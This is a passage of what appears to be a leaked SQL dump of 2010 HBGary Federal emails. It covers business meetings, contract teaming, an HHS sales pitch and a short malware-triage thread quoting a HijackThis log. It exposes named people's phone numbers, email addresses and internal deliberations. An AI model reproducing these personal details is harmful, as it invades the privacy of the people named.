\r\n> Sincerely,\r\n> \r\n> \r\n> Dave\r\n> \r\n> David Gerulski\r\n> VP Commercial Sales & Marketing\r\n> dgerulski@endgames.us\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4071,'aaron_hbgary_com/4071.html'),(7692,'2010-06-23','\"Varner, Bill\" <Bill.Varner@ManTech.com>','/aaron@hbgary.com/new/1297005942.M831429P14101Q2547.eml','aaron@hbgary.com,alexander.miller@l-3com.com,barbara.g.fast@boeing.com,bill.phelps@accenture.com,bmalexia@rockwellcollins.com,ccpalmer@us.ibm.com,coxld@saic.com,david_joslin@federal.dell.com,dusty.wince@knowledgecg.com,ed.gibson@us.pwc.com,gjg@mitre.org,jkoenig@harris.com,john.osterholz@baesystems.com,jpayne@telcordia.com,jreagan@deloitte.com,jwatters@isightpartners.com,kathy.warden@ngc.com,kenneth.sannicolas@stanleyassociates.com,lance.cottrell@abraxascorp.com,michael.fraser@usis.com,nadia.short@gd-ais.com,pat.burke@sra.com,rdix@juniper.net,rodney.joffe@neustar.biz,roger_anderson@appsig.com,samuel.chun@hp.com,scottmil@microsoft.com,shawn.carroll@qwest.com,skip.foote@americansystems.com,steve_k_hawkins@raytheon.com,svisner@csc.com,tiffany_jones@symantec.com,wcooper@cisco.com,zazmi@caci.com,aaron@hbgary.com,alexander.miller@l-3com.com,barbara.g.fast@boeing.com','Belated Greetings!','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nLadies and Gentlemen,\r\n\r\n&nbsp;\r\n\r\nPlease accept my apologies for not yet sending out the correspondence\r\nI promised following our dinner last week. A few unexpected meetings, a last\r\nminute trip to the West Coast, and yes, some actual work&#8230;you know how it\r\nis.\r\n\r\n&nbsp;\r\n\r\nI was very pleased by the enthusiastic start to our group. I\r\nthought Bill Crowell did his usual great job, and our questions kept him\r\nthinking the entire evening.\r\n\r\n&nbsp;\r\n\r\nWe are going to try to get the group together, maybe for a\r\nbreakfast, before our September dinner, to discuss how we might go forward with\r\nsome of the ideas we discussed. Jennifer and I will work schedules.\r\n\r\n&nbsp;\r\n\r\nI do promise to send out the meeting notes asap&#8230;\r\n\r\n&nbsp;\r\n\r\nThanks again for your participation &#8211; our group is\r\ngoing to set all of the ExecutiveBiz records for attendance, membership, and\r\nenthusiasm!\r\n\r\n&nbsp;\r\n\r\nThanks,&nbsp; Bill \r\n\r\n&nbsp;\r\n\r\nL. William Varner\r\n\r\nPresident\r\n\r\nMission, Cyber &amp;\r\nTechnology Solutions Group\r\n\r\nManTech International\r\nCorporation\r\n\r\n2250 Corporate Park Drive, Suite\r\n500\r\n\r\nHerndon, VA 20171\r\n\r\nOffice: (703) 674-2778 l\r\nE-fax: (571) 485-2362 l Mobile: (703) 475-7909&nbsp; \r\n\r\nEmail: Bill.Varner@Mantech.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3927,'aaron_hbgary_com/3927.html'),(7693,'2010-06-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005944.M300005P14101Q2548.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: EGS Traveling License Quote - w/attachment','\r\n\r\nBegin forwarded message:\r\n\r\n> From: David Gerulski \r\n> Date: June 18, 2010 5:40:46 PM EDT\r\n> To: \"aaron@hbgary.com\" \r\n> Subject: EGS Traveling License Quote - w/attachment\r\n> \r\n> Aaron,\r\n> \r\n> Attached please find Endgame\'s traveling license quote for HBGary. However, the SLA is not attached. It will be available in a couple of days. \r\n> \r\n> Hope you have an enjoyable weekend. Look forward to talking with you early next week.\r\n> \r\n> Sincerely,\r\n> \r\n> \r\n> Dave\r\n> \r\n> David Gerulski\r\n> VP Commercial Sales & Marketing\r\n> dgerulski@endgames.us\r\n> \r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2452,'aaron_hbgary_com/2452.html'),(7694,'2010-06-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005944.M988838P14101Q2549.eml','\"Varner, Bill\" <Bill.Varner@ManTech.com>,\"Varner, Bill\" <Bill.Varner@ManTech.com>','Re: Belated Greetings!','Hi Bill,I have a suggestion for an addition to the group but it might be out of bounds not sure. &nbsp;There is a Canadian company, SecDev, that is truly a leader in cyber. &nbsp;SecDev is the company that conducted the GhostNet and ShadowNet investigations. &nbsp;They work globally to assist in incident response and defense intelligence. &nbsp;If nothing else I think the CEO&nbsp;Rafal Rohozinski would make a very interesting speaker. &nbsp;This company is at the top of my list for companies with true multi-discipline capabilities and a broad understanding of the challenges.AaronOn Jun 23, 2010, at 3:34 PM, Varner, Bill wrote:Ladies and Gentlemen,&nbsp;Please accept my apologies for not yet sending out the correspondence I promised following our dinner last week. A few unexpected meetings, a last minute trip to the West Coast, and yes, some actual work…you know how it is.&nbsp;I was very pleased by the enthusiastic start to our group. I thought Bill Crowell did his usual great job, and our questions kept him thinking the entire evening.&nbsp;We are going to try to get the group together, maybe for a breakfast, before our September dinner, to discuss how we might go forward with some of the ideas we discussed. Jennifer and I will work schedules.&nbsp;I do promise to send out the meeting notes asap…&nbsp;Thanks again for your participation – our group is going to set all of the ExecutiveBiz records for attendance, membership, and enthusiasm!&nbsp;Thanks,&nbsp; Bill&nbsp;L. William VarnerPresidentMission, Cyber &amp; Technology Solutions GroupManTech International Corporation2250 Corporate Park Drive, Suite 500Herndon, VA 20171Office: (703) 674-2778 l E-fax: (571) 485-2362 l Mobile: (703) 475-7909&nbsp;Email:&nbsp;Bill.Varner@Mantech.com&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9149,'aaron_hbgary_com/9149.html'),(7695,'2010-06-23','customer.service@regus.com','/aaron@hbgary.com/new/1297005945.M649341P14101Q2550.eml','aaron@hbgary.com','Regus: Your recent meeting room visit','Dear Client,Thank you for your recent use of our Meeting Room facilities.In order to better serve you and understand your level of satisfaction, we would appreciate getting your feedback on a quick, one question survey.Please click on the link below to rate your stay with us.https://www.regus.com/survey/Questionnaire?ref=pYP9RzUKoL9XGKydwgbAbzUbt7GcpOTM\r\n				Sandra Corcellut\r\n				Customer Service Director\r\n			**********************************************************************\r\nThe information in this email is confidential and may be privileged.\r\nIf you are not the intended recipient please notify us immediately by\r\nreturn email at contact@regus.com or by contacting the\r\nRegus IT Helpdesk on +44 (0) 1462 708 070. \r\nRegus PLC, 26, Boulevard Royal, L-2449 Luxembourg\r\n**********************************************************************\r\n',7741,'aaron_hbgary_com/7741.html'),(7696,'2010-06-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005945.M945327P14101Q2551.eml','\"Christopher Starr\" <Chris.Starr@gd-ais.com>','GD Person that attended GatorBait Vendor Day','Roger Oussoren\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',7145,'aaron_hbgary_com/7145.html'),(7697,'2010-06-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005946.M486973P14101Q2552.eml','\"Christopher Starr\" <Chris.Starr@gd-ais.com>','Also','Wayne Starrs\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8639,'aaron_hbgary_com/8639.html'),(7698,'2010-06-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005946.M791049P14101Q2553.eml','\"Charlie Scuilla\" <charlie@scuilla.com>','Re: Meeting Gatorbiat','I have a meeting with Mantech early next month.  Forget about Northrop, the lead for this does not have the capability, this is not Xetron but another part of Northrop that has a contentious relationship with Xetron so they will likely not team well internally.  I have reached out to GD to find out what their position is.  Interesting I know Wayne Chunn from way back when he was with Scitor, I don\'t know his new company though.  Everyone else doesn\'t excite me.  Mandiant certainly has some forensics capability, don\'t know how many cleared people they have etc.  CACI I don\'t know much about.  MacB has some capability certainly, we have some contacts there, they are mostly focused in San Antonio.\r\n\r\nAaron\r\n\r\n\r\nOn Jun 23, 2010, at 10:00 AM, Charlie Scuilla wrote:\r\n\r\n> Sorry it t\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',16075,'aaron_hbgary_com/16075.html'),(7699,'2010-06-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005947.M579693P14101Q2554.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: this is simliar to what i\'m seeing','In what context did you find the IP? &nbsp;This IP is part of the Internap backbone for content delivery.Interesting look at:http://translate.googleusercontent.com/translate_c?hl=en&amp;sl=zh-CN&amp;u=http://www.softsea.net/shot/136821.htm&amp;prev=/search%3Fq%3D%2522google%2Bdynamic%2Btoolbar%2522%26hl%3Den%26client%3Dsafari%26rls%3Den&amp;rurl=translate.google.com&amp;usg=ALkJrhitR4YGZTejG_YTbPIsgQ8A7dwGGghttp://www.tucows.com/preview/400083I didn\'t get to as much of this as I would have liked today. &nbsp;I had a meeting with the CEO of SecDev. &nbsp;We are going to announce a partnership. &nbsp;They are much farther along at characterizing threats than anyone I have talked with. &nbsp;I think the combination of their operational analysis capability with what Greg has been talking about for Fingerprinting I think is powerful.I will look at more of this tonight.Do you think you are going to be able to use Mark?AaronOn Jun 23, 2010, at 12:18 AM, Rich Cummings wrote:googleupdate.exe just hit the internet 3 hours ago.... see this blog post.&nbsp; I found this searching for one of the IP addresses i found inside the disk of the box.&nbsp;http://64.74.124.65&nbsp; - IP address I searched for on google to come up with this hit below.&nbsp;http://www.bleepingcomputer.com/forums/index.php?showtopic=322174&amp;hl=google+redirecting+virus&nbsp;if you read the first guys post, and see his HJT log file you can see multiple google files and file paths.&nbsp; When you get to the bottom you\'ll notice something like c:\\Windows\\Steam.exe - look at the other post and you\'ll see simliar files plus googlecrashhandler.exe... ;)&nbsp; what a name...&nbsp;Obviously both machines on this blog are running Java.&nbsp; All the machines at my place of work this week is running java.exe too.&nbsp; I do see java.exe going out to&nbsp;sun.com&nbsp;to get java updates, but I also see it going to another site for updates too.&nbsp; I can\'t remember the URL now but will get it tomorrow.&nbsp;also do a search for \"google dynamic toolbar\"&nbsp;RC&nbsp;[Google Desktop Search] \"c:\\program files\\google\\google&nbsp;desktop search\\GoogleDesktop.exe\" /startupC:\\Documents and Settings\\Michael Bauman\\Local Settings\\Application Data\\Google\\Update\\1.2.183.23\\GoogleCrashHandler.exeC:\\DOCUME~1\\MICHAE~1\\LOCALS~1\\Temp\\RtkBtMnt.exeC:\\WINDOWS\\system32\\spider.exeBHO: Java™ Plug-In 2 SSV Helper: {dbc80044-a445-435b-bc74-9c25c1c588a9} - c:\\program files\\java\\jre6\\bin\\jp2ssv.dllBHO: JQSIEStartDetectorImpl Class: {e7e6f031-17ce-4c07-bc86-eabfe594f69c} - c:\\program files\\java\\jre6\\lib\\deploy\\jqs\\ie\\jqs_plugin.dlluRun: [Google Update] \"c:\\documents and settings\\michael bauman\\local settings\\application data\\google\\update\\GoogleUpdate.exe\" /c[Google Desktop Search] \"c:\\program files\\google\\google&nbsp;desktop search\\GoogleDesktop.exe\" /startupIE: Add to&nbsp;Google&nbsp;Photos Screensa&amp;ver - c:\\windows\\system32\\GPhotos.scr/200AppInit_DLLs: c:\\progra~1\\google\\google~1\\GOEC62~1.DLL&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9761,'aaron_hbgary_com/9761.html'),(7700,'2010-06-23','\"John Farrell\" <jfarrell@icscorp.com>','/aaron@hbgary.com/new/1297005948.M42239P14101Q2555.eml','aaron@hbgary.com','Discuss new business opportunities?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nHow are things going? When are you available to talk about\r\njoint business opportunities? I&#8217;m at ICS now and working to expand their\r\nbusiness development efforts. We just won a contract at MSC and we&#8217;re\r\nchasing several security opportunities across DOD, Civilian and IC. Let me know\r\nyour schedule and let&#8217;s get together soon.\r\n\r\n&nbsp;\r\n\r\nJohn\r\n\r\n&nbsp;\r\n\r\nJohn M. Farrell\r\n\r\nDirector of Technical Services\r\n\r\nIntegrated Communication Solutions, Inc.\r\n\r\n(301) 768-0186\r\n\r\njfarrell@icscorp.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',722,'aaron_hbgary_com/722.html'),(7701,'2010-06-23','\"Scott Suhy\" <Scott.Suhy@PointAbout.com>','/aaron@hbgary.com/new/1297005948.M666914P14101Q2556.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting','Yes, what day?\r\n\r\n____________________________________________________\r\nScott B. Suhy\r\nCEO, PointAbout Inc.\r\nCell: 202.557.6937\r\n1410 Q street NW Washington, DC 20009 (http://1410q.com) \r\nskype:scott.suhy \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, June 23, 2010 2:49 PM\r\nTo: Scott Suhy\r\nSubject: Meeting\r\n\r\nHi Scott,\r\n\r\nDo you have some time to meet with the Prime next week for the opportunity I\r\nwas discussing.  The meeting would be in Chantilly.  We would like to bring\r\nPointAbout on the team.  As I mentioned its a $35-60M multi-year new media\r\ndevelopment effort.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.829 / Virus Database: 271.1.1/2957 - Release Date: 06/23/10\r\n02:36:00\r\n\r\n',7033,'aaron_hbgary_com/7033.html'),(7702,'2010-06-23','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005949.M452852P14101Q2557.eml','\"Karen Burke\" <karenmaryburke@gmail.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Karen Burke\" <karenmaryburke@gmail.com>','RE: Colleague Wants Info on Palantir','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI think he should talk to Aaron\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Karen Burke\r\n[mailto:karenmaryburke@gmail.com] \r\nSent: Wednesday, June 23, 2010 1:41 PM\r\nTo: Greg Hoglund; penny\r\nSubject: Colleague Wants Info on Palantir\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSeveral years ago when I worked at Merritt Group, I did PR\r\nfor&nbsp;a company called SPI Dynamics, which was founded by Caleb Sima. The\r\ncompany got bought by HP a year or two ago. Caleb went to HP, left&nbsp;and now\r\nfounded a new company called Armorize http://armorize.com/.&nbsp;He\r\nwanted to learn more about our partnership with Palantir and about Palantir\r\nitself. He is a friend of mine on Facebook. Would either of you be interested\r\nin talking to him? Of not, that\'s fine. Thanks, Karen&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n\r\n',12075,'aaron_hbgary_com/12075.html'),(7703,'2010-06-23','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005950.M129101P14101Q2558.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,,','RE: Meeting July 9th in Atlanta with HHS CIRT','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg is scheduled to be in DC that morning. &nbsp;He&#8217;d have to fly\r\nout the 8th in the evening since he has an all day session on the 8th.&nbsp;\r\nI think Aaron is going and could be a back up to Greg on Friday since most of\r\nthe heavy lifting would be Thursday.&nbsp; Greg?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Wednesday, June 23, 2010 12:50 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: Greg Hoglund; Rich Cummings\r\nSubject: Re: Meeting July 9th in Atlanta with HHS CIRT\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nGreg\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWill you be able to meet me in Atlanta on July 9th?&nbsp;\r\nRich is at SANS conference so he can\'t go.&nbsp; I imagine Phil will be at\r\nMorgan Stanley and could go as a back up?&nbsp; Joe is on vacation.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe were the last vendor to get scheduled and he had to look\r\nhard for a block of time...&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n\r\n\r\n\r\n\r\nOn Wed, Jun 23, 2010 at 11:49 AM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nMaybe they have Encase standalone&nbsp; -- they did a small\r\nprocurement last year... I\'ll ask.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Wed, Jun 23, 2010 at 10:57 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m assuming they have some disk\r\ncapability already ?&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg\r\nHoglund [mailto:greg@hbgary.com]\r\n\r\nSent: Wednesday, June 23, 2010 10:22 AM\r\nTo: Maria Lucas\r\nCc: Penny C. Hoglund; Rich Cummings\r\nSubject: Re: Meeting July 9th in Atlanta with HHS CIRT\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMaria,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nneed to know how they will deploy an agent.&nbsp; Is it via ePO, Bigfix, SMS,\r\netc&nbsp; ??&nbsp; This is important since they don\'t have administrative\r\naccess to the machines.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nWed, Jun 23, 2010 at 10:14 AM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nPenny\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe\r\nHHS (Dept of Health and Human Services)&nbsp;SOC has stimulous money and will\r\nbe acquiring an enterprise capability for IR.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMeeting\r\n\r\n\r\n\r\n\r\n\r\nAtlanta\r\n\r\n\r\n\r\n\r\n\r\nJuly\r\n9 \r\n\r\n\r\n\r\n\r\n\r\n10\r\nto 12 \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDecision\r\nMaking&nbsp; \r\n\r\n\r\n\r\n\r\n\r\nBryon\r\nHundley formerly of GE is organizing the meeting and has used Responder Pro at\r\nGE and had an Active Defense demo with Greg.&nbsp; His boss Wally Wilhoit is\r\nthe technical decision-maker.&nbsp; He reports to Michael Cox who is the PM and\r\nwill make the final decisions and acquisitions.&nbsp; I\'ve been speaking with\r\nMike Cox over a year.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHHS\r\nOrganization\r\n\r\n\r\n\r\n\r\n\r\nThe\r\nHHS SOC supports all the HHS organizations (clients)&nbsp;about 9 of them\r\nincluding FDA.&nbsp; The total number of endpoints is between 120,000 and\r\n150,000.&nbsp; The\r\n\r\n\r\n\r\n\r\n\r\nSOC\r\ndoes not have &quot;administrative rights&quot; to the client machines.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWho\r\nthey are meeting with?\r\n\r\n\r\n\r\n\r\n\r\nAccess\r\nData\r\n\r\n\r\n\r\n\r\n\r\nGuidance\r\nSoftware\r\n\r\n\r\n\r\n\r\n\r\nMandiant\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTheir\r\nService\r\n\r\n\r\n\r\n\r\n\r\nHHS\r\nSOC will be called by a customer with a compromised machine.&nbsp; Initially,\r\nthey will acquire the memory and disc information for analysis.&nbsp; Depending\r\non their findings they may\r\n\r\n\r\n\r\n\r\n\r\nexpand\r\nthe scope of the services to more systems on the network.&nbsp; The\r\n&quot;client&quot; will have access to administrative rights on the machines\r\nand they will work side by side to deploy to the host.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDeployment\r\ncapability\r\n\r\n\r\n\r\n\r\n\r\nThey\r\ncannot &quot;proactively&quot; deploy an enterprise product.\r\n\r\n\r\n\r\n\r\n\r\nThey\r\nwant the capability to deploy on demand only\r\n\r\n\r\n\r\n\r\n\r\nThey\r\nexpect they will analyze about 10% of the total enterprise 12,000 - 15,000\r\nendpoints\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOther\r\nconsiderations\r\n\r\n\r\n\r\n\r\n\r\nPricing\r\n-- they want to pay per node not for enterprise deployment (Guidance model)\r\n\r\n\r\n\r\n\r\n\r\nSupport\r\nfor Windows 7 32 and 64 bit and Server 8 32 and 64 bit\r\n\r\n\r\n\r\n\r\n\r\nSpeed\r\n\r\n\r\n\r\n\r\n\r\nDetection\r\ncapabilities - effectiveness\r\n\r\n\r\n\r\n\r\n\r\nSearch\r\ncapabilities for IOC \r\n\r\n\r\n\r\n\r\n\r\netc.\r\n\r\n\r\n\r\n\r\n\r\nAs\r\nmuch as possible -- how do we compare to the competition, explain how we can\r\nprove that we can do what we say we can do\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhere\r\nwe are politically right now with HHS\r\n\r\n\r\n\r\n\r\n\r\nMike\r\nCox and Wally&nbsp;are aware that we exist and we are under consideration\r\n\r\n\r\n\r\n\r\n\r\nNeither\r\nMike nor Wally has seen Active Defense and neither is aware of our capabilities\r\ntoday\r\n\r\n\r\n\r\n\r\n\r\nBryon\r\nhas been unsuccessful in getting them to understand the value of Active Defense\r\nbecause there is too much else going on\r\n\r\n\r\n\r\n\r\n\r\nThe\r\nperson we need to convince is Wally\r\n\r\n\r\n\r\n\r\n\r\nAll\r\nthe vendors are making onsite presentations.&nbsp; We must be onsite to be\r\neffective Bryon stated.\r\n\r\n\r\n\r\n\r\n\r\nNeither\r\nMike nor Wally completely understand the advantages of behavioral analysis\r\nversus searching with strings&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nProposed\r\nPresentation\r\n\r\n\r\n\r\n\r\n\r\nHBGary\'s\r\nmethodology and why behavioral analysis is more effective than all other\r\nmethods using real world examples\r\n\r\n\r\n\r\n\r\n\r\nBig\r\npicture -- architecture (how we fit with SEIM tools etc)\r\n\r\n\r\n\r\n\r\n\r\nReview\r\nof Requirements Doc and Competitive Matrix\r\n\r\n\r\n\r\n\r\n\r\nProduct\r\nDemonstration\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNext\r\nSteps\r\n\r\n\r\n\r\n\r\n\r\nConfirm\r\nwho will go with me on this meeting? (Joe is on vacation)\r\n\r\n\r\n\r\n\r\n\r\nGet\r\na technical requirements doc from Bryon -- if he doesn\'t have one then we need\r\nto make one\r\n\r\n\r\n\r\n\r\n\r\nAdd\r\na couple of slides to PP presentation: Competitive Matrix --&nbsp; examples of\r\nzero day behaviors not detected by &quot;string&quot; searches\r\n\r\n\r\n\r\n\r\n\r\nSchedule\r\nflights.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9084,'aaron_hbgary_com/9084.html'),(7704,'2010-06-23','\"Karen Burke\" <karenmaryburke@gmail.com>','/aaron@hbgary.com/new/1297005950.M451272P14101Q2559.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','Re: Colleague Wants Info on Palantir','Thanks Penny -- I&#39;ll contact Aaron. Best, K\r\nOn Wed, Jun 23, 2010 at 1:58 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nI think he should talk to Aaron\r\n \r\n\r\nFrom: Karen Burke [mailto:karenmaryburke@gmail.com] Sent: Wednesday, June 23, 2010 1:41 PM\r\nTo: Greg Hoglund; pennySubject: Colleague Wants Info on Palantir\r\n\r\n \r\nSeveral years ago when I worked at Merritt Group, I did PR for a company called SPI Dynamics, which was founded by Caleb Sima. The company got bought by HP a year or two ago. Caleb went to HP, left and now founded a new company called Armorize http://armorize.com/. He wanted to learn more about our partnership with Palantir and about Palantir itself. He is a friend of mine on Facebook. Would either of you be interested in talking to him? Of not, that&#39;s fine. Thanks, Karen  \r\n\r\n',12963,'aaron_hbgary_com/12963.html'),(7705,'2010-06-23','\"Karen Burke\" <karenmaryburke@gmail.com>','/aaron@hbgary.com/new/1297005950.M850749P14101Q2560.eml','\"Aaron Barr\" <aaron@hbgary.com>','Colleague Needs Info on Palantir','Hi Aaron, Several years ago when I worked at Merritt Group, I did PR for a company called SPI Dynamics, which was founded by Caleb Sima. The company got bought by HP a year or two ago. Caleb went to HP, left and now founded a new company called Armorize http://armorize.com/. He wanted to learn more about our partnership with Palantir and about Palantir itself. He is a friend of mine on Facebook. Penny suggested you might be a good person for him to talk to. If not, that&#39;s fine. Thanks, Karen  \r\n',12656,'aaron_hbgary_com/12656.html'),(7706,'2010-06-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005951.M200529P14101Q2561.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Command Line Tool','We didn&#39;t did we?Begin forwarded message:From: &quot;Hammack, Jacob P (TASC)&quot; &lt;Jacob.Hammack@TASC.COM&gt;\r\nDate: June 23, 2010 5:06:55 PM EDTTo: &lt;ted@hbgary.com&gt;Cc: &quot;Sandoval Jr, Jose (TASC)&quot; &lt;jose.sandoval@TASC.COM&gt;\r\nSubject: Command Line Tool\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\nI was told that at REBL conf, yall released the static command line tool for HB Gary digital dna? Is this true?\r\n\r\nThank you,\r\n-Jacob\r\n\r\n\r\n\r\n\r\n',6228,'aaron_hbgary_com/6228.html'),(7707,'2010-06-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005951.M659771P14101Q2562.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Fwd: HBGary website items','Mark, did Greg call you to discuss some web updates today?Begin forwarded message:From: Greg Hoglund &lt;greg@hbgary.com&gt;\r\nDate: June 23, 2010 4:27:28 PM EDTTo: Mark Trynor &lt;mark@hbgary.com&gt;, Ted Vera &lt;ted@hbgary.com&gt;Subject: HBGary website items\r\n \r\n1) remove MJ&#39;s blog and picture\r\n2) add active defense product page under PRODUCTS\r\n3) add link to FEDERAL on top bar\r\n \r\n-G\r\n\r\n',1062,'aaron_hbgary_com/1062.html'),(7708,'2010-06-23','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297005952.M42705P14101Q2563.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Fwd: HBGary website items','-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nYep, talked for about an hour.  Making the changes now.\r\n\r\nOn 06/23/2010 03:18 PM, Ted Vera wrote:\r\n> Mark, did Greg call you to discuss some web updates today?\r\n> \r\n> \r\n> Begin forwarded message:\r\n> \r\n>> *From:* Greg Hoglund >\r\n>> *Date:* June 23, 2010 4:27:28 PM EDT\r\n>> *To:* Mark Trynor >, Ted Vera\r\n>> >\r\n>> *Subject:* *HBGary website items*\r\n>>\r\n>>  \r\n>> 1) remove MJ\'s blog and picture\r\n>> 2) add active defense product page under 